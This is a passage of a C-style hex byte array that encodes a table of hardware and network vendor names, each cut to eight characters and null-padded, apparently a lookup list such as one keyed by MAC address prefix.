0x61, 0x6c, 0x69, 0x78, 0x4e, 0x65, 0x74,\r\n0x48, 0x69, 0x67, 0x68, 0x54, 0x65, 0x63, 0x68,\r\n0x41, 0x63, 0x63, 0x6f, 0x72, 0x64, 0x69, 0x6f,\r\n0x54, 0x69, 0x6c, 0x67, 0x69, 0x6e, 0x00, 0x00,\r\n0x53, 0x6f, 0x79, 0x6f, 0x47, 0x72, 0x6f, 0x75,\r\n0x55, 0x70, 0x73, 0x4d, 0x61, 0x6e, 0x75, 0x66,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x72, 0x61, 0x6d,\r\n0x56, 0x69, 0x72, 0x64, 0x69, 0x74, 0x65, 0x63,\r\n0x54, 0x68, 0x65, 0x72, 0x6d, 0x61, 0x6c, 0x6f,\r\n0x4e, 0x6f, 0x64, 0x65, 0x52, 0x75, 0x6e, 0x6e,\r\n0x48, 0x61, 0x72, 0x72, 0x69, 0x73, 0x47, 0x6f,\r\n0x4e, 0x61, 0x64, 0x61, 0x74, 0x65, 0x6c, 0x00,\r\n0x43, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x54, 0x65,\r\n0x42, 0x63, 0x6d, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x43,\r\n0x41, 0x64, 0x65, 0x70, 0x74, 0x54, 0x65, 0x6c,\r\n0x4e, 0x65, 0x67, 0x65, 0x6e, 0x41, 0x63, 0x63,\r\n0x53, 0x65, 0x6e, 0x61, 0x6f, 0x49, 0x6e, 0x74,\r\n0x43, 0x72, 0x65, 0x77, 0x61, 0x76, 0x65, 0x00,\r\n0x43, 0x63, 0x26, 0x43, 0x54, 0x65, 0x63, 0x68,\r\n0x43, 0x6f, 0x72, 0x69, 0x6f, 0x6c, 0x69, 0x73,\r\n0x54, 0x6f, 0x6d, 0x6d, 0x79, 0x54, 0x65, 0x63,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x54, 0x65, 0x63,\r\n0x50, 0x72, 0x69, 0x6d, 0x61, 0x78, 0x45, 0x6c,\r\n0x43, 0x61, 0x73, 0x68, 0x53, 0x79, 0x73, 0x74,\r\n0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x45,\r\n0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x41,\r\n0x49, 0x6f, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x41, 0x6d, 0x70, 0x6c, 0x69, 0x66, 0x79, 0x4e,\r\n0x54, 0x72, 0x69, 0x6c, 0x69, 0x74, 0x68, 0x69,\r\n0x41, 0x73, 0x6b, 0x2d, 0x54, 0x65, 0x63, 0x68,\r\n0x4d, 0x75, 0x4e, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x61, 0x63, 0x6c, 0x69, 0x78, 0x00,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x75, 0x6d,\r\n0x55, 0x6b, 0x47, 0x72, 0x69, 0x64, 0x53, 0x6f,\r\n0x52, 0x69, 0x76, 0x65, 0x72, 0x73, 0x74, 0x6f,\r\n0x4f, 0x63, 0x63, 0x61, 0x6d, 0x4e, 0x65, 0x74,\r\n0x41, 0x64, 0x61, 0x70, 0x63, 0x6f, 0x6d, 0x00,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x56, 0x69,\r\n0x44, 0x6e, 0x65, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x41, 0x6d, 0x62, 0x69, 0x74, 0x4d, 0x69, 0x63,\r\n0x56, 0x64, 0x73, 0x6c, 0x4f, 0x79, 0x00, 0x00,\r\n0x4d, 0x69, 0x63, 0x72, 0x65, 0x6c, 0x2d, 0x53,\r\n0x4d, 0x6f, 0x76, 0x69, 0x74, 0x61, 0x54, 0x65,\r\n0x52, 0x61, 0x70, 0x69, 0x64, 0x35, 0x4e, 0x65,\r\n0x47, 0x6c, 0x6f, 0x62, 0x65, 0x74, 0x65, 0x6b,\r\n0x57, 0x6f, 0x6f, 0x72, 0x69, 0x67, 0x69, 0x73,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x49, 0x6e, 0x6e,\r\n0x53, 0x6f, 0x6c, 0x69, 0x64, 0x44, 0x61, 0x74,\r\n0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x53, 0x6f, 0x6b,\r\n0x49, 0x70, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73,\r\n0x4c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6e, 0x00,\r\n0x43, 0x2d, 0x43, 0x6f, 0x72, 0x4e, 0x65, 0x74,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x66, 0x72, 0x61,\r\n0x41, 0x70, 0x65, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x41,\r\n0x4b, 0x72, 0x65, 0x61, 0x74, 0x65, 0x6c, 0x43,\r\n0x4d, 0x65, 0x72, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x4c, 0x2d, 0x33, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x46, 0x6c, 0x61, 0x74, 0x73, 0x74, 0x61, 0x63,\r\n0x57, 0x6f, 0x72, 0x6c, 0x64, 0x57, 0x69, 0x64,\r\n0x48, 0x69, 0x6c, 0x73, 0x63, 0x68, 0x65, 0x72,\r\n0x41, 0x62, 0x62, 0x53, 0x77, 0x69, 0x74, 0x7a,\r\n0x41, 0x64, 0x64, 0x70, 0x61, 0x63, 0x54, 0x65,\r\n0x45, 0x66, 0x66, 0x69, 0x6e, 0x65, 0x74, 0x00,\r\n0x56, 0x69, 0x76, 0x61, 0x63, 0x65, 0x4e, 0x65,\r\n0x41, 0x69, 0x72, 0x4c, 0x69, 0x6e, 0x6b, 0x54,\r\n0x52, 0x61, 0x63, 0x6f, 0x6d, 0x53, 0x52, 0x4f,\r\n0x50, 0x6c, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x43, 0x74, 0x63, 0x55, 0x6e, 0x69, 0x6f, 0x6e,\r\n0x33, 0x70, 0x61, 0x72, 0x44, 0x61, 0x74, 0x61,\r\n0x48, 0x6f, 0x79, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x63, 0x61, 0x6e, 0x6e, 0x65, 0x78, 0x45,\r\n0x54, 0x65, 0x6c, 0x65, 0x63, 0x72, 0x75, 0x7a,\r\n0x48, 0x6f, 0x6b, 0x75, 0x62, 0x75, 0x43, 0x6f,\r\n0x43, 0x61, 0x62, 0x6c, 0x65, 0x76, 0x69, 0x73,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x70, 0x68, 0x6e, 0x65, 0x00, 0x00,\r\n0x41, 0x76, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x72, 0x6f, 0x73, 0x73, 0x65, 0x72,\r\n0x57, 0x61, 0x74, 0x61, 0x6e, 0x61, 0x62, 0x65,\r\n0x57, 0x68, 0x69, 0x4b, 0x6f, 0x6e, 0x73, 0x75,\r\n0x43, 0x6f, 0x6e, 0x74, 0x69, 0x6e, 0x75, 0x6f,\r\n0x4c, 0x76, 0x6c, 0x37, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x69, 0x6f, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x54, 0x6f, 0x74, 0x73, 0x75, 0x45, 0x6e, 0x67,\r\n0x44, 0x6f, 0x74, 0x72, 0x6f, 0x63, 0x6b, 0x65,\r\n0x42, 0x65, 0x6e, 0x63, 0x65, 0x6e, 0x74, 0x54,\r\n0x4e, 0x65, 0x74, 0x56, 0x69, 0x73, 0x69, 0x6f,\r\n0x41, 0x72, 0x65, 0x6c, 0x6e, 0x65, 0x74, 0x00,\r\n0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x49, 0x6e,\r\n0x45, 0x76, 0x65, 0x72, 0x74, 0x7a, 0x4d, 0x69,\r\n0x44, 0x61, 0x74, 0x61, 0x54, 0x72, 0x61, 0x63,\r\n0x41, 0x6c, 0x70, 0x73, 0x45, 0x6c, 0x65, 0x63,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x63, 0x6f,\r\n0x4d, 0x65, 0x6c, 0x6c, 0x61, 0x6e, 0x6f, 0x78,\r\n0x45, 0x6e, 0x64, 0x70, 0x6f, 0x69, 0x6e, 0x74,\r\n0x54, 0x72, 0x69, 0x73, 0x74, 0x61, 0x74, 0x65,\r\n0x4d, 0x43, 0x43, 0x49, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x64, 0x72, 0x65, 0x61,\r\n0x46, 0x6f, 0x78, 0x6a, 0x65, 0x74, 0x00, 0x00,\r\n0x5a, 0x79, 0x67, 0x61, 0x74, 0x65, 0x43, 0x6f,\r\n0x43, 0x6f, 0x6d, 0x64, 0x69, 0x61, 0x6c, 0x00,\r\n0x56, 0x69, 0x76, 0x6f, 0x74, 0x65, 0x6b, 0x00,\r\n0x57, 0x6f, 0x72, 0x6b, 0x73, 0x74, 0x61, 0x74,\r\n0x4e, 0x65, 0x74, 0x62, 0x6f, 0x74, 0x7a, 0x00,\r\n0x50, 0x64, 0x61, 0x50, 0x65, 0x72, 0x69, 0x70,\r\n0x41, 0x63, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x69, 0x63, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x6d, 0x70, 0x65, 0x67, 0x00, 0x00, 0x00,\r\n0x42, 0x72, 0x65, 0x63, 0x69, 0x73, 0x43, 0x6f,\r\n0x52, 0x65, 0x6c, 0x69, 0x61, 0x62, 0x6c, 0x65,\r\n0x45, 0x78, 0x69, 0x6f, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x4e, 0x65, 0x74, 0x73, 0x65, 0x63, 0x00, 0x00,\r\n0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x47,\r\n0x42, 0x72, 0x6f, 0x6d, 0x61, 0x78, 0x43, 0x6f,\r\n0x41, 0x73, 0x74, 0x72, 0x6f, 0x64, 0x65, 0x73,\r\n0x4e, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x00, 0x00,\r\n0x45, 0x74, 0x61, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x64, 0x63, 0x49, 0x6e, 0x66, 0x61, 0x72,\r\n0x4c, 0x69, 0x74, 0x65, 0x2d, 0x4f, 0x6e, 0x43,\r\n0x4a, 0x63, 0x48, 0x79, 0x75, 0x6e, 0x00, 0x00,\r\n0x54, 0x69, 0x6d, 0x65, 0x77, 0x61, 0x72, 0x65,\r\n0x47, 0x6f, 0x75, 0x6c, 0x64, 0x49, 0x6e, 0x73,\r\n0x43, 0x61, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x44, 0x26, 0x41, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x73, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d,\r\n0x46, 0x6f, 0x63, 0x75, 0x73, 0x45, 0x6e, 0x68,\r\n0x50, 0x69, 0x63, 0x6f, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x4d, 0x61, 0x73, 0x63, 0x68, 0x6f, 0x66, 0x66,\r\n0x44, 0x78, 0x6f, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x44, 0x61, 0x6e,\r\n0x43, 0x63, 0x63, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x41, 0x6d, 0x65, 0x4f, 0x70, 0x74, 0x69, 0x6d,\r\n0x50, 0x69, 0x6e, 0x65, 0x74, 0x72, 0x6f, 0x6e,\r\n0x45, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x53, 0x65, 0x72,\r\n0x50, 0x63, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x76, 0x65, 0x53, 0x79, 0x6e, 0x65,\r\n0x45, 0x71, 0x75, 0x69, 0x70, 0x65, 0x43, 0x6f,\r\n0x41, 0x72, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x61, 0x6b, 0x72, 0x45, 0x6e, 0x67,\r\n0x4d, 0x69, 0x6d, 0x6f, 0x73, 0x42, 0x65, 0x72,\r\n0x44, 0x78, 0x41, 0x6e, 0x74, 0x65, 0x6e, 0x6e,\r\n0x42, 0x61, 0x75, 0x6d, 0x75, 0x6c, 0x6c, 0x65,\r\n0x56, 0x69, 0x64, 0x69, 0x74, 0x65, 0x63, 0x00,\r\n0x48, 0x61, 0x6e, 0x64, 0x61, 0x6e, 0x42, 0x72,\r\n0x42, 0x61, 0x72, 0x72, 0x61, 0x63, 0x75, 0x64,\r\n0x45, 0x78, 0x66, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x68, 0x61, 0x72, 0x6c, 0x65, 0x73, 0x49,\r\n0x4a, 0x61, 0x6d, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x42,\r\n0x4d, 0x73, 0x63, 0x56, 0x65, 0x72, 0x74, 0x72,\r\n0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x6e,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x57, 0x6f,\r\n0x41, 0x6d, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e,\r\n0x54, 0x65, 0x78, 0x63, 0x65, 0x6c, 0x54, 0x65,\r\n0x41, 0x72, 0x67, 0x75, 0x73, 0x54, 0x65, 0x63,\r\n0x48, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x54, 0x65,\r\n0x54, 0x65, 0x6c, 0x65, 0x73, 0x6f, 0x66, 0x74,\r\n0x55, 0x6e, 0x69, 0x77, 0x69, 0x6c, 0x6c, 0x43,\r\n0x43, 0x6f, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x43,\r\n0x45, 0x2d, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c,\r\n0x54, 0x72, 0x2d, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x4d, 0x65,\r\n0x54, 0x65, 0x6c, 0x65, 0x77, 0x61, 0x72, 0x65,\r\n0x43, 0x69, 0x64, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x4e, 0x6f, 0x62, 0x65, 0x6c, 0x6c, 0x43, 0x6f,\r\n0x4d, 0x65, 0x72, 0x6c, 0x69, 0x6e, 0x00, 0x00,\r\n0x43, 0x79, 0x72, 0x61, 0x73, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x65, 0x6f, 0x6e,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x42,\r\n0x43, 0x65, 0x6c, 0x6c, 0x76, 0x69, 0x73, 0x69,\r\n0x53, 0x76, 0x65, 0x6e, 0x73, 0x6b, 0x61, 0x48,\r\n0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x43, 0x6f,\r\n0x4f, 0x70, 0x74, 0x72, 0x61, 0x6e, 0x65, 0x74,\r\n0x43, 0x6f, 0x6e, 0x64, 0x65, 0x76, 0x00, 0x00,\r\n0x58, 0x70, 0x65, 0x65, 0x64, 0x00, 0x00, 0x00,\r\n0x52, 0x65, 0x63, 0x6f, 0x52, 0x65, 0x73, 0x65,\r\n0x49, 0x64, 0x69, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x72, 0x6e, 0x65, 0x74, 0x54, 0x65,\r\n0x53, 0x61, 0x6e, 0x79, 0x6f, 0x43, 0x6f, 0x6e,\r\n0x41, 0x72, 0x69, 0x6d, 0x61, 0x43, 0x6f, 0x6d,\r\n0x49, 0x77, 0x61, 0x73, 0x61, 0x6b, 0x69, 0x49,\r\n0x41, 0x63, 0x74, 0x4c, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x63, 0x65, 0x47, 0x72, 0x6f, 0x75,\r\n0x46, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x55, 0x6e, 0x69, 0x64, 0x61, 0x74, 0x61, 0x43,\r\n0x47, 0x61, 0x69, 0x44, 0x61, 0x74, 0x65, 0x6e,\r\n0x49, 0x62, 0x61, 0x73, 0x65, 0x54, 0x65, 0x63,\r\n0x53, 0x63, 0x6f, 0x70, 0x65, 0x49, 0x6e, 0x66,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x53, 0x75,\r\n0x49, 0x6d, 0x61, 0x67, 0x65, 0x6e, 0x69, 0x63,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x65, 0x6c, 0x00,\r\n0x4e, 0x65, 0x77, 0x70, 0x6f, 0x72, 0x74, 0x45,\r\n0x4d, 0x69, 0x72, 0x61, 0x65, 0x54, 0x65, 0x63,\r\n0x5a, 0x65, 0x74, 0x65, 0x73, 0x54, 0x65, 0x63,\r\n0x56, 0x61, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00,\r\n0x4f, 0x61, 0x6b, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x45, 0x75, 0x72, 0x6f, 0x6c, 0x6f, 0x67, 0x69,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x57,\r\n0x54, 0x61, 0x6d, 0x69, 0x54, 0x65, 0x63, 0x68,\r\n0x44, 0x61, 0x69, 0x64, 0x65, 0x6e, 0x00, 0x00,\r\n0x49, 0x6c, 0x73, 0x68, 0x69, 0x6e, 0x4c, 0x61,\r\n0x54, 0x61, 0x74, 0x65, 0x79, 0x61, 0x6d, 0x61,\r\n0x42, 0x69, 0x67, 0x62, 0x61, 0x6e, 0x64, 0x4e,\r\n0x46, 0x6c, 0x6f, 0x77, 0x61, 0x72, 0x65, 0x57,\r\n0x41, 0x78, 0x6f, 0x6e, 0x44, 0x69, 0x67, 0x69,\r\n0x4d, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x50, 0x72,\r\n0x54, 0x69, 0x65, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x52, 0x6f, 0x75, 0x74, 0x72, 0x65, 0x6b, 0x4e,\r\n0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x4b,\r\n0x4e, 0x6f, 0x72, 0x73, 0x63, 0x61, 0x6e, 0x49,\r\n0x56, 0x69, 0x64, 0x69, 0x63, 0x6f, 0x64, 0x65,\r\n0x52, 0x69, 0x61, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x68, 0x61, 0x6e, 0x67, 0x68, 0x61, 0x69,\r\n0x43, 0x68, 0x69, 0x61, 0x72, 0x6f, 0x4e, 0x65,\r\n0x50, 0x6f, 0x73, 0x44, 0x61, 0x74, 0x61, 0x00,\r\n0x53, 0x75, 0x72, 0x2d, 0x47, 0x61, 0x72, 0x64,\r\n0x42, 0x74, 0x69, 0x63, 0x69, 0x6e, 0x6f, 0x00,\r\n0x44, 0x69, 0x65, 0x62, 0x6f, 0x6c, 0x64, 0x00,\r\n0x43, 0x6f, 0x6c, 0x75, 0x62, 0x72, 0x69, 0x73,\r\n0x4d, 0x69, 0x74, 0x61, 0x63, 0x00, 0x00, 0x00,\r\n0x46, 0x69, 0x62, 0x65, 0x72, 0x4c, 0x6f, 0x67,\r\n0x54, 0x65, 0x72, 0x61, 0x62, 0x65, 0x61, 0x6d,\r\n0x57, 0x69, 0x6e, 0x63, 0x6f, 0x72, 0x4e, 0x69,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x6f, 0x69,\r\n0x48, 0x61, 0x6e, 0x79, 0x61, 0x6e, 0x67, 0x44,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x73,\r\n0x50, 0x68, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x00,\r\n0x42, 0x72, 0x69, 0x64, 0x67, 0x65, 0x77, 0x61,\r\n0x53, 0x61, 0x69, 0x6e, 0x74, 0x53, 0x6f, 0x6e,\r\n0x42, 0x6f, 0x73, 0x75, 0x6e, 0x67, 0x48, 0x69,\r\n0x4d, 0x65, 0x74, 0x72, 0x6f, 0x70, 0x6f, 0x6c,\r\n0x50, 0x72, 0x66, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x50, 0x61, 0x63, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x57, 0x69, 0x64, 0x63, 0x6f, 0x6d, 0x6d, 0x00,\r\n0x56, 0x6f, 0x64, 0x74, 0x65, 0x6c, 0x43, 0x6f,\r\n0x4d, 0x69, 0x72, 0x61, 0x65, 0x73, 0x79, 0x73,\r\n0x53, 0x63, 0x65, 0x6e, 0x69, 0x78, 0x53, 0x65,\r\n0x4b, 0x69, 0x72, 0x61, 0x49, 0x6e, 0x66, 0x6f,\r\n0x41, 0x73, 0x6d, 0x50, 0x61, 0x63, 0x69, 0x66,\r\n0x4a, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x65, 0x4e,\r\n0x45, 0x6d, 0x62, 0x65, 0x64, 0x6f, 0x6e, 0x65,\r\n0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x41, 0x6e,\r\n0x4d, 0x61, 0x69, 0x6e, 0x6e, 0x65, 0x74, 0x00,\r\n0x52, 0x75, 0x6e, 0x74, 0x6f, 0x70, 0x00, 0x00,\r\n0x4e, 0x69, 0x63, 0x6f, 0x6e, 0x50, 0x74, 0x79,\r\n0x54, 0x65, 0x6c, 0x73, 0x65, 0x79, 0x00, 0x00,\r\n0x4e, 0x78, 0x74, 0x76, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x6f, 0x6d, 0x7a, 0x4e, 0x65, 0x74,\r\n0x55, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x73, 0x65, 0x6c, 0x73, 0x61, 0x6e, 0x41,\r\n0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x4d,\r\n0x4e, 0x65, 0x74, 0x6d, 0x65, 0x64, 0x69, 0x61,\r\n0x47, 0x72, 0x61, 0x70, 0x68, 0x74, 0x65, 0x63,\r\n0x47, 0x69, 0x67, 0x61, 0x62, 0x69, 0x74, 0x57,\r\n0x48, 0x75, 0x6d, 0x61, 0x78, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x73, 0x63, 0x65, 0x6e, 0x64,\r\n0x54, 0x61, 0x69, 0x79, 0x6f, 0x59, 0x75, 0x64,\r\n0x49, 0x64, 0x65, 0x63, 0x49, 0x7a, 0x75, 0x6d,\r\n0x43, 0x6f, 0x61, 0x78, 0x4d, 0x65, 0x64, 0x69,\r\n0x53, 0x74, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x6d,\r\n0x50, 0x6f, 0x72, 0x74, 0x65, 0x63, 0x68, 0x43,\r\n0x41, 0x74, 0x68, 0x65, 0x72, 0x6f, 0x73, 0x43,\r\n0x53, 0x73, 0x68, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x49, 0x6e, 0x67, 0x65, 0x6e, 0x69, 0x63, 0x6f,\r\n0x41, 0x2d, 0x4f, 0x6e, 0x65, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x74, 0x65, 0x72, 0x61, 0x4e, 0x65,\r\n0x41, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x4e,\r\n0x48, 0x6f, 0x4e, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x42, 0x6c, 0x61, 0x7a, 0x65, 0x4e, 0x65, 0x74,\r\n0x46, 0x61, 0x73, 0x74, 0x66, 0x61, 0x6d, 0x65,\r\n0x50, 0x6c, 0x61, 0x6e, 0x74, 0x72, 0x6f, 0x6e,\r\n0x41, 0x6d, 0x65, 0x72, 0x69, 0x63, 0x61, 0x4f,\r\n0x50, 0x6c, 0x75, 0x73, 0x2d, 0x4f, 0x6e, 0x65,\r\n0x54, 0x6f, 0x74, 0x61, 0x6c, 0x49, 0x6d, 0x70,\r\n0x50, 0x63, 0x73, 0x52, 0x65, 0x76, 0x65, 0x6e,\r\n0x41, 0x74, 0x6f, 0x67, 0x61, 0x00, 0x00, 0x00,\r\n0x57, 0x65, 0x69, 0x6e, 0x73, 0x63, 0x68, 0x65,\r\n0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x54,\r\n0x41, 0x70, 0x70, 0x6c, 0x65, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x4f,\r\n0x43, 0x61, 0x6c, 0x69, 0x66, 0x6f, 0x72, 0x6e,\r\n0x45, 0x7a, 0x43, 0x61, 0x73, 0x74, 0x00, 0x00,\r\n0x46, 0x69, 0x72, 0x65, 0x62, 0x72, 0x69, 0x63,\r\n0x57, 0x69, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x6f, 0x6e, 0x67, 0x6a, 0x75, 0x49, 0x6e,\r\n0x53, 0x69, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63,\r\n0x4e, 0x65, 0x74, 0x63, 0x68, 0x69, 0x70, 0x54,\r\n0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x67, 0x68,\r\n0x51, 0x69, 0x73, 0x64, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x72, 0x61, 0x53, 0x79, 0x73, 0x74,\r\n0x48, 0x69, 0x70, 0x65, 0x72, 0x49, 0x6e, 0x66,\r\n0x43, 0x61, 0x74, 0x61, 0x70, 0x75, 0x6c, 0x74,\r\n0x4d, 0x61, 0x76, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x49, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x00,\r\n0x4d, 0x65, 0x64, 0x65, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x61, 0x78, 0x69, 0x74, 0x54, 0x65,\r\n0x55, 0x6e, 0x69, 0x78, 0x74, 0x61, 0x72, 0x54,\r\n0x49, 0x64, 0x6f, 0x74, 0x43, 0x6f, 0x6d, 0x70,\r\n0x41, 0x78, 0x63, 0x65, 0x6e, 0x74, 0x4d, 0x65,\r\n0x57, 0x61, 0x74, 0x6c, 0x6f, 0x77, 0x00, 0x00,\r\n0x42, 0x72, 0x69, 0x64, 0x67, 0x65, 0x49, 0x6e,\r\n0x46, 0x72, 0x6f, 0x6e, 0x69, 0x75, 0x73, 0x53,\r\n0x45, 0x6d, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x45,\r\n0x41, 0x6c, 0x6c, 0x69, 0x65, 0x64, 0x41, 0x64,\r\n0x50, 0x61, 0x72, 0x61, 0x67, 0x65, 0x61, 0x43,\r\n0x58, 0x73, 0x65, 0x6e, 0x73, 0x65, 0x54, 0x65,\r\n0x48, 0x6f, 0x73, 0x70, 0x69, 0x72, 0x61, 0x00,\r\n0x52, 0x61, 0x64, 0x77, 0x61, 0x72, 0x65, 0x00,\r\n0x49, 0x61, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00,\r\n0x4d, 0x61, 0x63, 0x72, 0x6f, 0x74, 0x65, 0x6b,\r\n0x45, 0x6e, 0x74, 0x72, 0x61, 0x54, 0x65, 0x63,\r\n0x51, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x5a, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00,\r\n0x4e, 0x65, 0x74, 0x6b, 0x69, 0x74, 0x53, 0x6f,\r\n0x48, 0x75, 0x61, 0x6c, 0x6f, 0x6e, 0x67, 0x54,\r\n0x53, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x43, 0x6f,\r\n0x43, 0x6f, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x63, 0x6c, 0x75, 0x73,\r\n0x4e, 0x65, 0x74, 0x69, 0x6c, 0x69, 0x74, 0x79,\r\n0x43, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x70, 0x6f,\r\n0x52, 0x66, 0x74, 0x6e, 0x63, 0x00, 0x00, 0x00,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x44, 0x79,\r\n0x53, 0x6f, 0x6c, 0x70, 0x68, 0x6f, 0x6e, 0x65,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x69, 0x6b,\r\n0x54, 0x6f, 0x6d, 0x72, 0x61, 0x41, 0x73, 0x61,\r\n0x4d, 0x6f, 0x62, 0x6f, 0x74, 0x69, 0x78, 0x00,\r\n0x49, 0x63, 0x75, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x6f, 0x70, 0x66, 0x45, 0x6c, 0x65, 0x6b,\r\n0x43, 0x6d, 0x6c, 0x45, 0x6d, 0x65, 0x72, 0x67,\r\n0x54, 0x65, 0x63, 0x6f, 